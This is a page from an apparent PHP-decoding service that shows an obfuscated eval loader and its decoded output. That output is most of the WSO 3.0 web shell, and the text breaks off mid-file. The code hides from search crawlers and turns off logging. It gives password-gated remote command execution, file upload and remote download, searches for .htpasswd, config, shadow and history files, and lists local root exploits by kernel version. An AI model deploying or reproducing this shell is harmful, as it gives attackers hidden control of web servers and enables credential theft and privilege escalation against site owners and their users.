Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x..
Decoded Output download
?><?php
header('Content-type: text/html;charset=utf-8');
$auth_pass = "6085de58bab392562e59cadf077cfc37";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler,yahoo,bing,ask,baidu");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '3.0');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)){
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
}
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)){
wsoLogin();
}
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find writable folder in current dir" => "find . -perm -2 -type d -print",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " [_ZIPPO_] Shell " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
.sembunyi{ display:none; padding:0;margin:0; }
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function setu(a,c,p1,p2,p3,p4,p5,p6,p7,charset) {
if(a != null)document.mf.a.value=a;
if(c != null)document.mf.c.value=c;
if(p1 != null)document.mf.p1.value=p1;
if(p2 != null)document.mf.p2.value=p2;
if(p3 != null)document.mf.p3.value=p3;
if(p4 != null)document.mf.p4.value=p4;
if(p5 != null)document.mf.p5.value=p5;
if(p6 != null)document.mf.p6.value=p6;
if(p7 != null)document.mf.p7.value=p7;
if(charset != null)document.mf.charset.value=charset;
}
function u(a,c,p1,p2,p3,p4,p5,p6,p7,charset) {
setu(a,c,p1,p2,p3,p4,p5,p6,p7,charset);
var params = 'ajax=true';
for(i=0;i<document.mf.elements.length;i++)
params += \"&\"+document.mf.elements[i].name+\"=\"+encodeURIComponent(document.mf.elements[i].value);
sr('".addslashes($_SERVER['REQUEST_URI'])."', params);
}
function g(a,c,p1,p2,p3,charset) {
if(p1!=null && p1=='deleteajax'){
if(confirm('Are you sure to delete this file?')){
set(a,c,p1,p2,p3,charset);
}else{
set(a,c,null,p2,p3,charset);
}
}else{
set(a,c,p1,p2,p3,charset);
}
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
//this line has been deleted, so do not use ajax
} else alert('Request error!');
}
function tukar(l,b){
if(document.getElementById(l)) document.getElementById(l).style.display = 'none';
if(document.getElementById(b)) document.getElementById(b).style.display = 'block';
}
function getValue(id)
{
var id;
var x=document.getElementById(id).value;
return x.value;
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=p4>
<input type=hidden name=p5>
<input type=hidden name=p6>
<input type=hidden name=p7>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','PS Table'=>'PsTable','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','S.Mode'=>'SafeMode', 'Logout'=>'Logout', 'Clone' => 'doClone');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
//$menu .= "<br>".showtool();
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function callocmd($ocmd,$owhich){
if(function_exists(exec)){$nval=exec($ocmd);}
elseif(!function_exists(exec)){$nval=passthru($ocmd);}
elseif(!function_exists(passthru)){$nval=shell_exec($ocmd);}
elseif(!function_exists(shell_exec)){$opop=popen($ocmd,'r');while (!feof($opop)){ $nval= fgetc($opop);}}
elseif(!function_exists(popen)){ob_start();system($ocmd);$nval=ob_get_contents();ob_clean();}
elseif(!function_exists(system)){ob_start();passthru($ocmd);$nval=ob_get_contents();ob_clean();}
if($nval==$owhich){return "<font color=\"#00bb00\"><b>ON</b></font>";}else{return "<font color=\"#FF0000\"><b>OFF</b></font>";}
}
function showtool(){
if (strstr(PHP_OS,"WIN")){
return "<table style=\"font-size:10px;font-family:tahoma \" width=100%><tr><td><center><font color=white>[exec] [shell_exec] [popen] [system] [passthru] <font color=\"#FF0000\">disabled!</font></center></td></div></td></tr></table>";
}else{
$text[] = "<table style=\"font-size:10px;font-family:tahoma \" width=100%><tr><td>";
$text[] = "<div align=center>"; $text[] = "<b>Mysql : </b>".callocmd('which mysql','/usr/bin/mysql');
$text[] = "</td><td>";
$text[] = "<b>Perl : </b>".callocmd('which perl',('/usr/bin/perl')||'/usr/local/bin/perl');
$text[] = "</td><td>";
$text[] = "<b>Gcc : </b>".callocmd('which gcc','/usr/bin/gcc');
$text[] = "</td><td>";
$text[] = "<b>Curl : </b>".callocmd('which curl','/usr/bin/curl');
$text[] = "</td><td>";
$text[] = "<b>GET : </b>".callocmd('which GET','/usr/bin/GET');
$text[] = "</td><td>";
$text[] = "<b>Wget : </b>".callocmd('which wget','/usr/bin/wget');
$text[] = "</td><td>";
$text[] = "<b>Lynx : </b>".callocmd('which lynx','/usr/bin/lynx');
$text[] = "</td><td>";
$text[] = "<b>Tar : </b>".callocmd('which tar','/bin/tar');
$text[] = "</td><td>";
$text[] = "<b>Unzip : </b>".callocmd('which unzip','/usr/bin/unzip');
$text[] = "</td></div></td></tr></table>";
return implode("",$text);
}
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
?>
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
<tr>
<td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php echo htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
<td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
</tr>
<tr>
<td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php echo $is_writable?></td>
<td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
</tr>
<tr>
<td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
<span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
</tr>
<tr>
<td><form onsubmit="g('DownloadUrl',null,'download',this.target.value,this.targetname.value);return false;"><span>Download Remote File: [filename(optional)]</span><br><input size=30 type=text name=target> <input type=text size=10 name=targetname><input type=submit value=">>"></form><?php echo $is_writable?></td>
<td><form onsubmit="g('FilesTools',null,this.pattern.value,'searchfile',null);return false;"><span>Search file on current dir: (pattern)</span><br><input class="toolsInp" type=text name=pattern><input type=submit value=">>"></form></td>
</tr>
</table>
</body></html>
<?php
}
function actionDownloadUrl() {
wsoHeader();
echo '<h1>Download Remote Url</h1>';
// File to download
$remoteFile = $_POST['p2'];
// Local file for saving
if($_POST['p3']){
$localFile = urlencode($_POST['p3']);
}else{
$localFile = substr($remoteFile,strrpos($remoteFile, "/")+1);
}
// Local directory for saving
$localDir = $_POST['c'];
if($_POST['p1'] == 'download' && $remoteFile && $localDir){
$how = downloadRemoteFile($remoteFile,$localDir,$localFile);
if($how){echo $how;}else{echo "<font color=\"#FF0000\">Download Failed!</font>";}
}else{
echo "<font color=\"#FF0000\">Please input the url target</font>";
}
wsoFooter();
}
function get_file1($file, $local_path, $newfilename)
{
$err_msg = '';
$out = fopen($local_path.$newfilename, 'wb');
if ($out == FALSE){
return "<font color=\"#FF0000\">File not opened</font><br>";
}
$ch = curl_init();
echo "(curl) downloading : ".$file."<br>";
curl_setopt($ch, CURLOPT_FILE, $out);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_URL, $file);
curl_exec($ch);
if(curl_error($ch)){
return "(curl) <font color=\"#FF0000\">cant get remote url</font>";
}else{
return "(curl) <font color=\"#00BB00\">done!</font>";
}
curl_close($ch);
}
function downloadRemoteFile($url,$dir,$file_name = NULL){
if($file_name == NULL){ $file_name = basename($url);}
$url_stuff = parse_url($url);
$port = isset($url_stuff['port']) ? $url_stuff['port'] : 80;
if(!function_exists("fsockopen")){echo "(fsockopen) <font color=\"#FF0000\">fsockopen disabled!</font><br>";}else{echo "(fsockopen) downloading : ".$url."<br>";}
$fp = fsockopen($url_stuff['host'], $port);
$query = 'GET ' . $url_stuff['path'] . " HTTP/1.0
";
$query .= 'Host: ' . $url_stuff['host'];
$query .= "
";
if(!$fp)
{
if(!extension_loaded("curl")){die("(error) <font color=\"#FF0000\">fsockopen & curl_opt disabled!</font><br>unable to run");}else{echo "(fsockopen) fsockopen not working, using curl<br>";}
$statuscurl = get_file1($url,$dir,$file_name);
if($statuscurl){return $statuscurl;}
}
fwrite($fp, $query);
while ($tmp = fread($fp, 8192)) {
$buffer .= $tmp;
}
preg_match('/Content-Length: ([0-9]+)/', $buffer, $parts);
$file_binary = substr($buffer, - $parts[1]);
if($file_name == NULL){
$temp = explode(".",$url);
$file_name = $temp[count($temp)-1];
}
$file_open = fopen($dir . "/" . $file_name,'w');
if(!$file_open){ return false;}
fwrite($file_open,$file_binary);
fclose($file_open);
return "(fsockopen) <font color=\"#00BB00\">done!</font>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!is_readable($f))
return '<font color=#FF0000><b>'.wsoPerms(@fileperms($f)).'</b></font>';
elseif (!is_writable($f))
return '<font color=white><b>'.wsoPerms(@fileperms($f)).'</b></font>';
else
return '<font color=#00BB00><b>'.wsoPerms(@fileperms($f)).'</b></font>';
}
function wsoScandir($dir) {
if(substr($dir,strlen($dir)-1) == "/"){
//show file include hidden
$dh = glob($dir.'{,.}*', GLOB_BRACE);
}else{
$dir = $dir."/";
$dh = glob($dir.'{,.}*', GLOB_BRACE);
}
foreach($dh as $d){
$files[] = substr($d,strrpos($d,"/")+1);
}
if($files){
return $files;
}else{
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function rootxpL(){
$v=php_uname();
$b = explode(" ",$v);$c = count($b);$d = $c - 2;$e = trim($b[$d]);
$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip, ptrace');
if($e < 2008){$vulncol="<font color=red><b>";$endvulncol="</b></font>";}
foreach($db as $k=>$x)if(strstr($v,$k))return $vulncol.$x.$endvulncol;
return 0;
}
function get_real_ip()
{
if (isset($_SERVER["HTTP_CLIENT_IP"])){
return $_SERVER["HTTP_CLIENT_IP"];
}elseif (isset($_SERVER["HTTP_X_FORWARDED_FOR"])){
return $_SERVER["HTTP_X_FORWARDED_FOR"];
}elseif (isset($_SERVER["HTTP_X_FORWARDED"])){
return $_SERVER["HTTP_X_FORWARDED"];
}elseif (isset($_SERVER["HTTP_FORWARDED_FOR"])){
return $_SERVER["HTTP_FORWARDED_FOR"];
}elseif (isset($_SERVER["HTTP_FORWARDED"])){
return $_SERVER["HTTP_FORWARDED"];
}else{
return $_SERVER["REMOTE_ADDR"];
}
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
$cuser=get_current_user();if(!$cuser)$cuser='Unknown';
wsoSecParam('Username', $cuser);
$huid=getmyuid();$hgid=getmygid();
wsoSecParam('UID - GID', $huid.' - '.$hgid);
$hxpl=rootxpL();if(!$hxpl)$hxpl='Not found.';
wsoSecParam('Local Root Exploits', $hxpl);
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
